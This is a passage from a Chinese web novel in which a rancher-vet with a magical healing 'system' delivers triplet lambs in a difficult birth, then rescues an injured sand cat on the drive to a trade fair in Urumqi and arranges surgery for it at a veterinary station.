晚上几人吃了饭后艾力便先回去了，姚新泉实在是不好意思让他跟着自己值夜，艾力年纪不算太大，但是早年冬天因为救助牲畜冒着风雪到处跑很是伤了身子，比同龄人都老一些，她哪里忍心让对方因为自己的事情熬着？ 第176章 “又咱俩在这熬着了”,姚新泉靠在师月江肩膀上笑着说。 之前的牛还有细毛羊都这样，生产的时候两人就在畜棚外面凑活。 师月江也笑了，“是啊,不过这次应该是今年最后一次了,等这批羊生完了,咱们就能清闲一阵子了。” 姚新泉点点头,但随即又叹了口气,“清闲是清闲了,但展会的事情又 堆上来了，咱俩这头忙完还得赶紧往乌市赶呢！” 师月江失笑，“那谁让我们小姚老板这么有责任心呢？” 姚新泉没好气地在他肩膀处拱了拱，“难道你不想帮县里做点事情？” 师月江摸了摸姚新泉的头发,姚新泉的头发又粗又黑发量还特别多,她也会掉头发,浴室地上每次都一堆，可她长得也快，所以头上随时看都有毛茸茸的发茬子,看着就活泼,跟个小孩儿一样。 两人就这样靠在畜棚外，看着满天繁星,聊着天,等待着下一头羊的生产。 不知道过了多久,一阵急促的咩叫声打破了夜的宁静,姚新泉和师月江立刻站起身来，走进了畜棚。 又一头羊发动了，两人立刻投入到紧张而又忙碌的接生工作中。 这一夜，两人几乎没怎么合眼,接连接生了三四十头母羊。 早晨艾力自己过来接班，两人随便吃了点东西回去睡了，下午姚新泉还没醒就听到外面的敲门声，“小姚，小姚，你醒了吗？”。 姚新泉被吵醒后人都有点懵，她皱着眉起身去开门，就见艾力一脸愁容地站在门口，“小姚，有头母羊难产了，情况挺严重的，我要是硬拉的话，母羊和羊羔子未必能保住。” 姚新泉一下就清醒了，她随手拉上门，到了畜棚附近，接了把自来水随便洗了下脸，又接过师月江递给她消毒过的手套之类的进了畜棚。 一进畜棚她就看到了那头母羊瘫卧在圈舍角落，粗重的喘息声听得人心头发沉，湖羊特有的柔顺白毛已经被汗液黏成绺，随着腹部痉挛性收缩剧烈颤动。 母羊鼓胀如皮囊的肚腹几乎触到地面，杜泊羊配出来的胎儿太大了…… 姚新泉凑近了看，就发现模样的瞳孔都已经扩散成了浑浊的琥珀色，鼻镜干燥龟裂，浑身无力，可即便是这样，前蹄仍会在阵痛到来时在地上无力地刨着。它的尾椎骨突兀地支棱着，心酸又可怖。 粘稠羊水混着血丝渗出，下颚无意识地开合着，嘴角不自觉地渗着白沫，耳尖神经质地抽搐，却已经没有力气叫出声了。 姚新泉有些心疼，她也顾不上安抚了，她摸了一下脉，眉头便皱了起来，情况确实不大好啊！ 胎儿滞留太久，母羊已经有些体力不支了。 “没办法用太温和的方子，月江你记一下”，姚新泉肃着脸，师月江赶忙点头，“你说。” “当归30g、川芎20g、肉桂10g、牛膝20g、车前子15g、红花10g，煎水灌服，快点，比较着急。” 师月江赶忙拿着方子去煎药了，这边姚新泉把针拿了出来，在母羊后的安神穴扎下第一针。 母羊虚弱地"咩"了一声，但没有剧烈挣扎。姚新泉接着在它的后海穴、百会穴下针，这些都是促进子宫收缩的穴位。 姚新泉手很稳，丝毫没有颤抖，精准扎下去后想了想又在关元俞下针，能够补气助产，防虚脱。 姚新泉见母羊状况还是不算太好，她抿了抿唇，“系统，治愈术”。 她一般情况下不会一上来就用治愈术，就生怕用的早了然后再遇到更难的情况会束手无策。 但眼下这头羊的状况绝对是家里这么多羊中最险的了，不得不用。 随着治愈术的释放，母羊的精神似乎好了一些，但姚新泉已经不知道这是不是自己的错觉了。 又等了一会儿，师月江那边的药也煎好了，他拿着空碗倒了几次后将药放凉赶忙递给她。 姚新泉没接，她掰开母羊的嘴，“慢慢倒。” 师月江小心往里倒，母羊有些抗拒，他赶忙抚摸着安抚它，母羊仍旧抗拒但最终还是咽下了大半。 二十分钟过去，母羊开始有规律地阵缩，但产道开得仍然不够。姚新泉再次检查，却发现羊羔的那条腿已经有些发紫，姚新泉的脸色很是难看，“缺氧了”。 艾力也叹气，眼中满是悲悯，“不好弄啊！” 母羊的产道比起母牛来说小太多了，人很难像给母牛助产一样把手伸进去。 特别是男的手大多数比女的大得多，更是增加了难度，所以艾力基本上没有帮母羊这样操作过。 姚新泉深吸了一口气，将能包住胳膊的手套彻底消毒后伸入产道。她能感觉到羊羔温热的身躯和急促的心跳，母羊痛苦地挣扎，姚新泉的手臂也被产道肌肉紧紧箍住，疼得她直冒冷汗。 “好姑娘，再加把劲儿，”姚新泉咬牙道，她的手指小心地摸索着羊羔的头部。终于，她触到了蜷曲的脖颈，轻轻将羊头往骨盆方向推。这个动作必须既有力又柔和，稍有不慎就会伤到母羊或羊羔。 艾力和师月江两人哪怕是旁观心都提到了嗓子眼，可这时候两人除了帮她控制住羊什么都做不了。 “艾力，艾灸神阙穴”，她皱着眉头吩咐，艾力赶忙点头，将提前切好的姜片隔着肚脐给母羊进行艾灸。 艾灸本身就能温补元气防虚脱，姚新泉能感觉到母羊的努责更有力了一些。 姚新泉趁机再次尝试调整胎位，她尽量控制住自己的力气，不敢多用分毫，生怕不小心把羊羔腿或者脖子捏断。 她的手臂已经麻木，只能全凭感觉操作。突然，她摸到羊羔的另一条前腿，小心地将其拉直，直到与先出来的那条腿对齐。 姚新泉的眼睛亮的吓人，“好了！”她缓缓抽出手臂，头发已被汗湿，根本顾不上擦额头的汗水，“月江，你帮我按住它后腿，现在我要趁它宫缩用力推！” 师月江点头，姚新泉在母羊腹部找准位置，随着母羊的努责节奏均匀施压。母羊发出撕心裂肺的叫声，后腿不停踢蹬，师月江用力按住，脸色凝重。 “头出来了！”师月江突然喊，语气里满是激动。 姚新泉赶忙凑到母羊臀部，就看到一小截湿漉漉的鼻子，接着是紧闭的眼睛和耷拉的耳朵。 她轻轻拉住羊羔的两条前腿，配合母羊的最后几次用力，终于将整个羊羔拽了出来。 随着小羊羔的落地，姚新泉控制不住地跟着跌倒，师月江赶忙上前扶她，艾力则是在安抚母羊，不敢乱动。 姚新泉摆了摆手示意自己没事，接着去看那没什么动静的小羊羔。 灰白色的羊羔一动不动地躺在干草上，身上裹着胎膜和黏液。姚新泉拉着衣服下摆迅速清理它的口鼻，然后用用力揉搓它的身体。十几秒后，小羊突然抽搐了一下，发出微弱的"咩"声。 姚新泉颤抖着手把小羊娃子放到母羊面前让她先舔一舔，随后让它吃奶。 但事情远远没有解决，这头母羊是三胎，这才下来一个，还有俩呢！ “月江，你去把我之前买的龟龄集散翻出来，还有黄酒，给母羊灌服。” 艾力满脸都是惊叹，“新泉，你这怎么还一套又一套的啊？” 姚新泉叹了口气，苦笑，“我也不想啊！我宁愿我这些方子永无用武之地！” 中医不是有句话叫什么但愿世间人无病，宁可架上药生尘嘛，她也一样，要是家里牲畜永远无病无灾，生产也好还是别的也好全都顺顺利利，她也高兴啊！ 等师月江把东西拿来后，她用5克龟龄集散加50毫升黄酒灌服。 “这房子温和一些，现在这头母羊虚弱无力，宫缩都快停止了，得温阳助产，你再艾灸关元俞”，她给艾力指了下位置，艾力点头赶忙去艾灸。 药灌下去也就十分钟左右，母羊突然剧烈颤抖起来，后腿蹬直。姚新泉立刻检查产道，心里一喜，就见第二只羊羔的前蹄已经露出！ “这个来得快！”她赶紧准备好接生。 跟第一胎不同，因为产道已经被第一只羊羔扩张过，第二只几乎是滑出来的。灰白相间的小羊浑身湿漉漉地落在干草上，姚新泉利落地清理呼吸道，小羊立刻发出响亮的叫声。 几人都笑了起来，“好姑娘生了个小姑娘！” 姚新泉笑着让小羊羔去吃奶，可母羊突然又开始阵缩，比前两次更剧烈。 “坏了！”姚新泉头都大了。臀位生产最危险，很容易造成胎儿窒息。她的手指碰到羊羔的小腿，冰凉湿滑，脐带竟然缠绕在腿上，随着每次宫缩勒得更紧。 姚新泉咬牙，“月江，把霹雳催生散喂给它！” 这霹雳催生散使用当归、川芎、红花、桃仁、三棱、麝香等配的方子，药效很是厉害，而且这个方子破血力强，还可能导致大出血。 但没办法，再不用药，别说小羊了，大羊都未必留得住！ 第177章 师月江赶忙把早就提前准备好放凉了的药给母羊灌下去。 这药见效极快,姚新泉顾不得别的，她一手轻轻拉住羊羔的后腿，一手探入产道寻找另一条腿。这次比首胎还难,产道已经肿胀,羊羔又比前两只瘦小,像条滑不留手的鱼。 母羊发出凄厉的惨叫,艾力听着那叫声只觉得头皮发麻。 母羊猛地一挣,师月 江都差点没按住母羊的后腿,幸好姚新泉退得快才没被踢中下巴。 “抱歉”，师月江声音嘶哑，他陪着接生过这么多次，只有这一次是真切地让他觉得生产其实是伴随着死亡一起到来的。 姚新泉什么都没说,在电光火石间,她摸到了另一条蜷曲的后腿,小心地拉直。那边艾灸的热力似乎也起了作用，母羊拼尽最后力气，第三只羊羔终于滑入姚新泉手中。 最后的小羊羔一动不动,浑身青紫。姚新泉迅速清理它口鼻中的黏液,然后倒提起来，轻轻拍打背部。 没反应。 她又用酒精棉球擦拭羊羔的鼻孔,刺激呼吸反射。 还是没反应。 姚新泉深吸一口气,眼神凝重,她取出一根针,在羊羔鼻下的人中穴深深刺入，捻转提插。 三秒，五秒，十秒…… 就在她忍不住自我怀疑,甚至是要放弃时，小羊突然抽搐一下，她一怔。 随后就见小羊羔喷出一口黏液，发出微弱的叫声，比前两只都细弱，但确确实实是生命的声音。 “活了”，师月江声音低不可闻，但眼中满是震撼，眼眶都湿润了。 □□是忍不住老泪纵横，之前就算羊死了他也只是感慨了一会儿，可这次见着母羊拼尽全力，见着姚新泉拼尽全力，他只觉得人都被震撼住了。 姚新泉胸口用力起伏，憋住泪意将小羊放到母羊腹部去吃奶，刚站起身就被师月江一把搂住。 师月江用力搂住她，两人根本顾不得身上都是污秽用力拥抱在一起，看的艾力忍不住想笑。 他清了清嗓子，“这儿还有活人呢！” 师月江有点不好意思，但姚新泉却笑得很是无所谓，“这么激动人心的时刻，我们小情侣抱一抱又怎么了？” 艾力简直没眼看，转过身去继续看羊。 姚新泉放开师月江后也凑了过去，摸了下脉后眉头便皱了起来，“月江，把云南白药拿来，灌服。” 随后又念了个方子要师月江去熬药，主要是为了活血化瘀、促进恶露排出、收缩子宫、防止瘀血滞留以及应对气血不足等问题。 她自己则是又拿起了针，在后海穴、百会穴、三阴交、关元俞等穴位上施针，另外还给母羊注射了一针青霉素，等忙完又是一脑袋的汗，师月江用手帕给她擦了擦。 “这头湖羊单独看管吧，我看奶量也不大，小羊娃子没办法吃奶，咱们得过来喂奶。” 三头小羊虽然都活了，但是身体明显不算太好，她摸了摸小羊的肚子，然后捣碎了一片土霉素片，每头小羊大概喂了四分之一，又把三头小羊单独照料着。 这边忙完后姚新泉是彻底没了力气了，师月江想扶着她去屋里，姚新泉皱着眉摆了摆手，“算了算了，我懒得动，也不想吃东西，就让我在这儿歇会儿吧！” 说完她面朝着夕阳坐在地上，靠在畜棚边上，微微眯起眼睛，像是快要睡着了一样。 师月江把她随意揣在口袋里的手套拿了出来放在一边，看着上面残余的血迹已经凝结成了褐色的壳，一时间心情很是不平静。 “我现在特别有成就感”，姚新泉心里的高兴都快要溢出来了，看着夕阳给不远处的房子镀上金边，脸上的笑意愈发深了。 母羊的惨叫好像还黏在耳膜上，母羊产道包裹住自己胳膊和手的感觉也像是还贴着自己，小羊的心跳和稚嫩的叫声也如影随影，但这一切都抵不过心中那满满的成就感。 “我都觉得我不像是接生了一头羊，倒像是给人接生了还母子平安一样”，姚新泉笑着靠在师月江的肩膀上，师月江也笑，“都是孕妇嘛！你本来就特别厉害。” 给羊接生时姚新泉似乎都会发光，而他也趋着光义无反顾地冲了上来。 “给我拿颗糖来”，她吩咐道，师月江点头，赶忙去清洗了下胳膊后抓了两把糖，又拿了三根雪糕出来递给她一根。 他也没客气，塞了一把糖到艾力大夫的口袋，又把雪糕给他，艾力接过后用力咬了一大口，随后被冰的忍不住嘶了一声，“我这口老牙都得冻掉了！” 姚新泉眯着眼睛靠在师月江肩膀上咬着雪糕，师月江感受到手背上滴落的雪糕才发现姚新泉已经睡着了。 他叹了口气，满脸都是怜惜，小心翼翼把雪糕接过先扔在一边然后抱起姚新泉给艾力打了个眼色示意要回去了。 艾力冲了摆了摆手，只要不是难产得太厉害自己都没什么太大的问题。 他刚要把人往床上放，就被迷迷糊糊的姚新泉给拒绝了，“脏。” 他看了看姚新泉身上的衣服还带着血迹，更别说一股味道了，直接放床上确实不太好。 他把弹簧床翻了出来，上面垫了些垫子后将床放在了廊下，把人放上去又盖了层薄毯子他这才去了洗手间。 现在这时候外面比屋里还要舒服，小风吹着又没多少太阳，屋里相对反而闷一些。 师月江去投了下毛巾，回来给她擦了擦脸上和脖子上，这才回了畜棚那边。 “睡下了？”艾力看了他一眼，师月江点头。 艾力叹气，“姑娘累着了，我晚点走，你也别急着叫她。” 这批多胎的羊肯定得有人守着的，不然很容易有突发情况，然后一尸好几命。 这头严重难产的羊处理完之后其他都是小事情了，29号下午家里的羊全部生产完毕，300头母羊除了个别因为生产损伤了身体需要调理一下以外，别的状态都还可以。 小羊羔的话一共是生了689头，其中难产最严重的母羊第三个孩子还是没熬过去，生下来第二天便死了，但是这个存活率还是很吓人。 艾力咂舌，“你这才养了几个月，一下就快1000头了啊！” 正常羊最多也就生400左右，这湖羊太厉害了！ “母羊伤身体啊！”姚新泉感慨，“等我回来给它们好好补补，艾力大夫，那这几天你没事儿就在我家牧场呗，我给你算诊费，喂养还是由马合木提江他们负责，也不会累到你。” 艾力冲他们摆了摆手，“知道了知道了，你们明天早晨出发，我明天早晨过来就行！” 几人又说了会儿话后艾力离开，姚新泉两人则是开始收拾东西，不只是行李之类的，两人还得带上些粮食。 没办法，路上很多地方可以说是荒无人烟，他们开车到乌市顺利的话也得开上一整天，至少得吃上一顿。 水也得带上，当然了，还有最重要的油。 姚新泉和师月江忙到很晚才睡，家里小动物们的饭冻在冰箱里了，到了点儿拿出来给它们化冻蒸熟就成，这个也是安排给玛依拉了。 除此之外，换洗衣物以及其他必备的东西都得带上，还得换点外币，不过这个在县里没办法换，出去再说吧！ 乌洽会没有指定货 币，只要大家能接受，不管是用谁家货币都成，不过基本上不会用中亚五国的货币，毕竟他们才独立出来，国家都还未必稳定，货币的汇率自然也不稳定。 所以换不换其实都成，甚至以物易物也可以，再看吧！ 两人收拾好东西，又把家里检查了一遍，确认没落下什么后才睡下。一夜好眠。 第二天清晨，师月江早早起来煮了牛奶，怕牛奶变质，他装了不少冰块延缓变质速度。 他翻出了冻好的三盖帘水饺煮了出来，两人肯定吃不完，多煮的是打算带着路上吃。 他又把之前做好的酱鸭跟熏制的鸭子各带了一只切好，又把卤的鸭货也装上了一饭盒，还装了点儿泡菜以及泡的心里美萝卜等小菜也带上了一些，又带了些酸奶以及路上吃着玩的瓜子之类的算一算也就差不多了。 姚新泉起床后吃了饺子喝了牛奶，两人收拾好东西锁上卧室门，又跟家里小宝贝们告别后上车出发…… 师月江发动了吉普车，姚新泉坐在副驾驶上，两人看着牧场逐渐缩小在视线中，心中突然些不舍。 “总共也去不了几天，我这还怪舍不得的”，姚新泉感慨了起来，从她回牧场之后她基本上没有长时间离开过了。 师月江又何尝不是？ 他轻轻握住了姚新泉的手，声音里满是安抚，“很快就回来了。” 两人聊着天，一路向着乌市开去。这一路上风景如画，刚出了县城到处都是大片的草原、连绵的山脉、成群的牛羊，让人心旷神怡。 姚新泉翻出瓜子嗑了起来，这瓜子是他们买的村里的，然后师月江给她炒熟了，一部分是原味，一部分是五香的，余光看她嗑瓜子嗑得香喷喷师月江满眼都是笑意。 第178章 早晨的太阳不算太烈但也有些刺眼,姚新泉忍不住往椅背上靠，就见师月江停下车从包里翻出了两副墨镜，把女士的给她,“哥寄过来的,挡挡光。” 姚新泉欣然接过,好歹眼睛能睁开了啊！ 她戴上墨镜后舒服了不少,继续嗑着瓜子跟师月江聊天。两人从牧场聊到了乌洽会,又从乌洽会聊到了未来的计划,快到中午的时候两人已经把带的冰牛奶喝完了，姚新泉嗑瓜子嗑得牙齿都酸了。 师月江见状把车停在一边，准备开始吃饭。 姚新泉见他从后车厢里拿了个东西出来没忍住凑过去看，“你还带了炉子？”她有些震惊。 师月江笑着点头,他确实把家里的炉子给搬了出来,随后在路边捡了点柴火把火引上后把铁饭盒放在炉子上加热饺子,又把带过来的肉菜打开。 姚新泉跑去把黄瓜翻出来掰给对方一半，路上有时候真觉得什么都没有黄瓜好吃！ 师月江接过黄瓜，咬了一口,清脆爽口,确实比干粮好吃多了。他笑着看向姚新泉，“你这倒挺好的,出来还带着黄瓜。” 姚新泉也咬了一口黄瓜,眯着眼睛享受这片刻的清凉,“你不懂,黄瓜解渴又解腻，这可是路上的宝贝，我之前在上海读书来回都是坐的火车，来回不算等车的时间六七十个小时,在车上的时候就想吃点爽口的黄瓜之类的。” 两人边吃着黄瓜边聊着天，等着炉子上的饺子热透。姚新泉看着师月江忙碌的样子，突然感慨道，“有你在身边可真好啊！” 师月江心甘情愿做这些，也不觉得处理这些琐事有什么不对的，“只是家庭分工不同而已，不用觉得怎么样的”，他反正没觉得自己为对方无私奉献付出了多少一样，这也只是一种相处模式，算不上什么的。 饺子热好后，两人吃了几个，又吃了些别的，再把剩下的装了起来。饭后，两人稍微休息了一会儿，便继续开车上路。 阳光透过墨镜洒在姚新泉的脸上，她微微眯起眼睛，感受着这份宁静与美好。师月江则专注地开着车，偶尔偏头看向她，眼中满是柔情。 姚新泉被晒得昏昏欲睡，突然感觉车停了下来，她赶忙打起精神，“怎么了？” “我说给你买个西瓜和葡萄”，见姚新泉警惕的模样，师月江失笑。 姚新泉看着路边那个大树下蹲着的巴郎子忍不住扶额，“我还以为……” 不是她多想，主要是有时候路上是真的不方便。城里还好说，到处都有派出所什么的，但是那种几十公里未必能见到一幢屋子的地方，让公安怎么管？ 所以有时候真是没办法，不是不想管，真的是没办法…… 姚新泉刚就以为是谁打劫来着…… “我观察过了，不是诱饵，人家就是老实卖点水果，后面不就是果园？” 姚新泉探着脖子看了看，后面似乎更多的是果树，西瓜这些不知道又是种在哪里的。 小孩儿会说汉语，两人买了两个大西瓜跟两兜葡萄，他那边还有专门背过来的水，在路边洗过后这才装上车。 师月江重新启动车子，姚新泉抱着冰凉的西瓜，心里踏实了不少。她用勺子挖了一勺西瓜递到师月江嘴边，师月江就着她的手吃了一口，清甜多汁，确实解渴。 “这西瓜真甜。”师月江赞道，姚新泉也用力点头，就是吐籽儿麻烦，要是以后有没有西瓜籽的西瓜就好了！ 两人继续上路，有了西瓜和葡萄的加持，这一路似乎都变得更加愉快了起来。姚新泉甚至哼起了小曲儿，师月江看着她心情这么好，嘴角也忍不住微微上扬。 突然姚新泉顿了一下，师月江敏锐地察觉到了什么，赶忙看过来，“怎么了？” “停一下车”，姚新泉抿唇，眼中满是无奈。 师月江不解，但还是停下了车。 姚新泉没说话，她避开了师月江的目光，“在哪里？” 系统的声音在她脑海中响起，“在你后方500米处的一块儿大石头后面。” 姚新泉无奈，她解开安全带，推门下车，师月江赶忙跟着下车，“怎么了？” 姚新泉其实可以找个借口说要上厕所或者什么的意外发现了受伤的小动物，但她真懒得编一个又一个的谎言。 她是不会直接说，但如果师月江猜到了什么她也不会给对方确定的答案的。 “我刚好像看到一只受伤的小动物，我不是带了药嘛，我去看看。” 师月江垂下了眼睛最终还是什么都没说，跟着姚新泉就过去了。 两人没再提起这个话题，姚新泉快步走到那块儿大的很突兀的石头边上，一靠近她便发现了藏在石 头下面的小家伙。 “是只小猫”，很快她便发现了不对，“是沙漠猫！” 石头下面应该是有一个不小的坑，沙漠猫露了半个身体在外面，看体型似乎比家猫稍微大一些的动物，灰黄色的皮毛上沾满了沙土，似乎还粘着血。 小家伙发现有人靠近后，正努力把身体往洞里挤，同时不停地朝着他们龇牙，希望能把他们吓走。 姚新泉刚要靠近就被师月江拉住，“戴手套”，这小家伙看着可不是个脾气好的，万一把姚新泉抓伤可就麻烦了，野生动物身上谁知道带着些什么病毒呢！ 姚新泉赶忙带上手套后试探性地靠近，努力向对方释放善意，但小猫还是不太乐意搭理她。 无奈姚新泉看向师月江，“你去把我带的那包牛肉干翻出来，当时没放什么调料，就稍微加了点盐，可以给它吃一些。” 姚新泉接过师月江递来地牛肉干，撕成小条后小心递给对方，“吃一点吧，饿不饿啊？” 又给对方倒了点水喝，小猫没有抢着吃肉干，但确实是扑到她面前把小碗里的水全喝完了。 “这小猫能在沙漠生活应该保水能力挺强，这是多久没喝了啊？”师月江感慨，他倒不认识这是什么猫，但是听名字就知道主要栖息地应该是沙漠，那它自身应该对外部水源的依赖很小。 姚新泉在它喝了几大口水后赶紧给它塞了点儿肉干让它吃着，“沙漠猫倒也不是不怎么用喝水，他们捕猎的猎物身体里的血液之类的已经能够满足他们大部分的生理需求了，但问题是”，她朝小猫抬了抬下巴，“你看那个肚子上”，姚新泉叹了口气，“我看那肚子上好像有道口子，它没办法捕猎了，所以藏到了石头下面。” 她试探性地摸了摸小猫的头，对方避了一下见没避开干脆就放弃了，大口大口吃着肉干，吃完又大口喝水。 姚新泉想了想去车上翻出了一个篮子，没顾小家伙的反抗把它放到了篮子里拎到车上，示意师月江开车。 她则是先给小家伙做了个基本的检查，万幸，没虱子。 它肚子上的伤口有些发炎，而且伤口还挺长的，可能得缝合。 “我先给稍微消个毒，回头到了乌市在想办法给它做个缝合的手术吧”，说着从包里拿出消毒水和纱布，动作轻柔地给小猫的外伤做处理。 沙漠猫虚弱地抬起头，金色的瞳孔在阳光下收缩成一条细线。它努力却最终只是发出了微弱的嘶嘶声，它试图恐吓这两个庞然大物，但姚新泉只是笑着推了推它的脑袋，小家伙便控制不住往篮子里躺了下去。 师月江看得好笑，“你打算带着它一起去乌洽会吗？” 姚新泉毫不迟疑地点头，“嗯，也是缘分，总不能丢下它不管，现在天气这么热，它的伤口又这么长一道，不缝合之后只会烂的更厉害。” “高局之前给了我聘书，我倒不会说是因为救助了这小家伙而出什么问题”，想到这里姚新泉便满心感激，要不是有这份聘书，她还随身携带着，就这样大剌剌带着一只国一到处跑，那不等着人抓自己吗？ “幸好晚上就能到，不然还得找个地方给它做手术”。她身上倒带着简易药箱，但做手术的设备可不是到处都有的。 师月江加快了速度，之后路上也比较顺利，没再耽误时间，两人本来预计的是晚上9点左右到，但实际上8点就到了。 九月的新省晚上8点天还大亮着，姚新泉坐车坐的身上都麻了，她忍不住在车上小幅度地扭动着身体，“先去哪里？” 师月江侧过头看了看她篮子里似乎睡着了的小猫，“先找个地方给它把手术做了？”看情况都受伤几天了，总不好再耽误吧？ 倒是姚新泉想了想摇头，“也不差着一时半刻的，咱们先去汇合，然后找个地方吃饭，再顺便问问领导他们知不知道哪里有能给小家伙做手术的地方。” 师月江点头，打断了她让自己回去睡觉的话，毕竟是到了陌生的地方，他不跟着实在是不放心。 就开了一天的车而已，不算什么大事，晚上好好睡一觉也就好了。 第179章 乌洽会的参会人员是有固定的招待所的,两人打听着位置就去了。 石副县长正发愁呢，“这两个年轻人自己从家里开过来靠不靠谱啊？” 没一会儿又叹气，“他们认得路吗？” 又过了一会儿,“不会遇到坏人吧？” 谢局无奈地笑了,“他们两也不小了,当年你这么大的时候在部队里都待了几年了？” 石副县长先是一愣,随即便是苦笑,“我也是关心则乱啊！”他们已经到了几天了,也去展馆里看过了，越看那是心越慌啊！所以他现在确实需要姚新泉过来，不说别的，能给他点鼓励或者心理安慰他都是高兴的。 两人正说着,谢局突然看到外面进来的人忍不住笑了起来,“你瞧,这不是过来了？” 石副县长赶忙往前走了几步，“来了啊，路上顺利吗？” 姚新泉点了点头,“还行,路上都是月江开车的，他也累了,这边有能吃饭的地方吗？” “展会这边有工作餐,不过这个点应该是没有了,但边上有一家拉条子店好像还开着,咱们先去看看？” 他说着突然看到姚新泉怀里有什么东西动了一下，吓了一跳，“小姚，这是？” 姚新泉嘿嘿一笑,把因为晚上降温套上的薄外套拉链拉下来，露出了里面朝着众人哈气的小沙漠猫。 “你还带了只小猫来？”石副县长哭笑不得，他倒没觉得生气之类的，确实最开始是姚新泉主动提出想要参加乌洽会的，但是今天她牧场里没有要拿出来卖的，而师月江那个奶厂也多次强调了他们其实没有那么大的产值，也没想来这里，所以人家过来真的只是开开眼界另外就是帮县里的忙，他做不出指责人家的事情。 姚新泉赶忙解释，“这是路上我们救下的一只受伤的沙漠猫，也是保护动物，它身上有个伤还挺严重的，我得给他缝合一下，但这刚到乌市我也不知道哪儿有地方能动手术。我也不用找医生，只要给我提供个地方还有工具就成，我也正常给费用。” 石副县长闻言眉头微微一皱，随即又舒展开来，“我有个战友之前分到这边兽医站了，我跟他还联系着，他那边应该有工具，借个地方应该还是可以的。” “那真是太好了，我现在就需要给它处理一下伤口，之前只是简单做了个消毒，现在天又热，我怕感染了，”姚新泉感激地看着石副县长。 石副县长拍了拍她的肩膀，“没事，要不你先吃个饭，我去打个电话问问，如果可以的话咱们现在就过去。” 姚新泉连连点头，“好的好的，真是太麻烦你了”，人家过来是有正事儿的，姚新泉也怪不好意思的。 石副县长失笑，“保护环境保护动物人人有责，这可不是你一个人的事情，我能帮上肯定会帮的”，之前是担心对方没办法正常到，所以他着急。但现在人都到了，也不可能说现在拉着人家去干活，还不如帮着干点杂活儿呢！ 谢局没跟着几人一起，他白天也忙了一天，先回招待所了，师月江和姚新泉两人去吃拉条子。 怀里的小家伙闻着味道不停地抽动着鼻子，师月江想了想去了后厨，过了一会儿端着个小碗过来了。 “你干嘛去了？” 师月江把碗递给她，放到了条凳的另一边，然后接过小猫放在条凳上，就在小猫伸着脖子要吃东西的时候他又收回了手，随后便迎上了小猫愤怒的眼神。 小猫：你要不想给我吃你别拿过来啊？ “你过会儿做手术是不是要禁食啊？不然等它手术完了再给它吃？” 姚新泉没想到他去给小猫买肉了，见小猫在他手上挣扎个不停忍不住笑了，“如果有麻醉的话正常是要禁食七八个小时的，咱们中午捡到它，喂了它一点儿肉跟水，到现在四个小时是有了。等到地方做手术估计还得一两个小时，还是先别喂了，等做完手术吧！” 乌市条件好，兽医站保不齐是有麻醉的，如果实在没有那就只能继续用针灸顶上了，这大晚上的也没地儿去给它找中药去。 没办法师月江又去要了个塑料袋回来装肉，还买了两个小碗，一个装水一个装饭，两人都饿了，飞快地扒拉着面。 没一会儿石副县长过来了，见他脸上的笑意姚新泉便知道成了，果不其然，石副县长笑道，“现在过去，大概路程一个小时左右，他在那边等咱 们。” 姚新泉回头看向师月江，“要不你先回去休息，我跟石副县长去？”他开了长途车，自己坐车的感觉骨头都要散架了，要不是这小猫的伤不能拖，不然自己只想洗个澡赶紧睡觉。 师月江摇了摇头，“一起去吧。” 他看了眼石副县长，姚新泉还没弄明白，石副县长倒没好气地笑了出来，可想想也是，虽然自己有妻有女，小姚也有对象，但是两个成年异性男女大晚上一起出去，如果被人看到了肯定会被人编排的。 他媳妇儿明事理，也知道自己是什么样的人，不会信那些话，但姚新泉一个小姑娘，就没必要让她听那些乱七八糟的话了。 “那行，小师一起去吧！” 一行人出了拉面馆，因为师月江不认识路，所以由石副县长开车，姚新泉抱着小猫坐在副驾驶，师月江则坐在后座。夜色已深，除了有些街区能明显看到有人在摆摊以外，别的地方行人稀少，路灯也不多，路上比较昏暗。 车内，姚新泉轻轻抚摸着小猫的背，试图安抚它因即将手术而略显紧张的情绪。小猫似乎感受到了她的善意，渐渐安静下来，只偶尔发出几声细微的呼噜声。 石副县长通过后视镜看了他们一眼，笑道：“小姚，我记得最开始你跟咱们县委打交道就是老高那边，我听他说你好像救了不少动物吧！现在年轻人是真不得了，又能搞实业还能做这种公益！” 姚新泉微微一笑，“你这说的我都不好意思了！我也都是顺手的事情，基本上都是在我牧场上或者周边发生的，它们过得不好，大部分原因还是人类侵入了它们的生存空间，能帮就帮一下吧！” “我记得老高说好像给你发了什么聘书，回头我让老高去市里问问有没有什么补贴，你这救助了那么多，好像也没正儿八经拿工资，总不能自己一直往里贴。” 愿意做慈善的人他自然是喜欢的，但是也不能让这些好心人太吃亏了。 车子在夜色中疾驰，几人路上聊了没多久，不久便来到了兽医站。 下车后，石副县长领着他们进了屋，介绍了他那位在兽医站工作的战友，“我是他老班长，转业回来之后进了兽医站，不是兽医，主要是做一些行政工作，所以动手还得你来。” 姚新泉自然是同意的，她也只是想要个能做手术的地方还有做手术的工具罢了。 石副县长的战友吴军很是热情地接待了他们，把几人迎进来后就要给他们倒茶，见姚新泉面上隐隐透出的焦急，石副县长赶紧拦了下，“行了行了都自己人，就不搞这些虚头八脑的了，地方和手术器械你准备好了吗？” 吴军没想到老班长这么多年了还是这么雷厉风行的忍不住笑了起来，“准备好是准备好了，只是你们中谁”，他有些迟疑，这些哪个看上去都不像是兽医啊？ 姚新泉抱着小猫跟对方打了个招呼，“吴同志，我叫姚新泉，我就是兽医，家里也是开牧场的，复杂的手术还不会做，但基本的外伤缝合还是没问题的。” 吴军打量着眼前这个高个子的姑娘，没忍住看向石副县长跟他确认，石副县长没好气地拍了他一下，“小姚兽医的本事大得很，你把地方腾好就行，到时候器械的使用费我们正常承担。” 吴军摆了摆手，这都不是事儿，用两张纱布跟缝合线他还能收钱？正常损耗罢了！ 见她有信心吴军也没多说什么，带着几人往手术室走，“我们这条件一般，但该有的也算是都有，你看看还缺不缺什么？” 吴军推门进去，迎面而来的就是刺鼻的消毒水味，还掺着牲口特有的腥臊气，味道不算好闻。但几人中除了石副县长以外也算是天天都会跟牲畜接触，都习惯了，石副县长的话早年也过过苦日子，也不觉得有什么。 手术室里是水泥地，上面泼过漂白粉，泛着惨白，墙角却积着洗不净的黄褐色污渍，看样子像是羊水、血和碘酒等等遗留下来的陈年老垢。 手术台是铁焊的，台面铺着掉漆的绿色搪瓷，边缘已经被不知道什么蹭出了蛛网般的裂痕。 台脚焊着四个铁环，看样子像是绑牛蹄用的，麻绳磨出的凹痕里还卡着几根干草。 无影灯倒是正经医疗设备，她凑过去打开看了一下，有一个灯泡不亮。 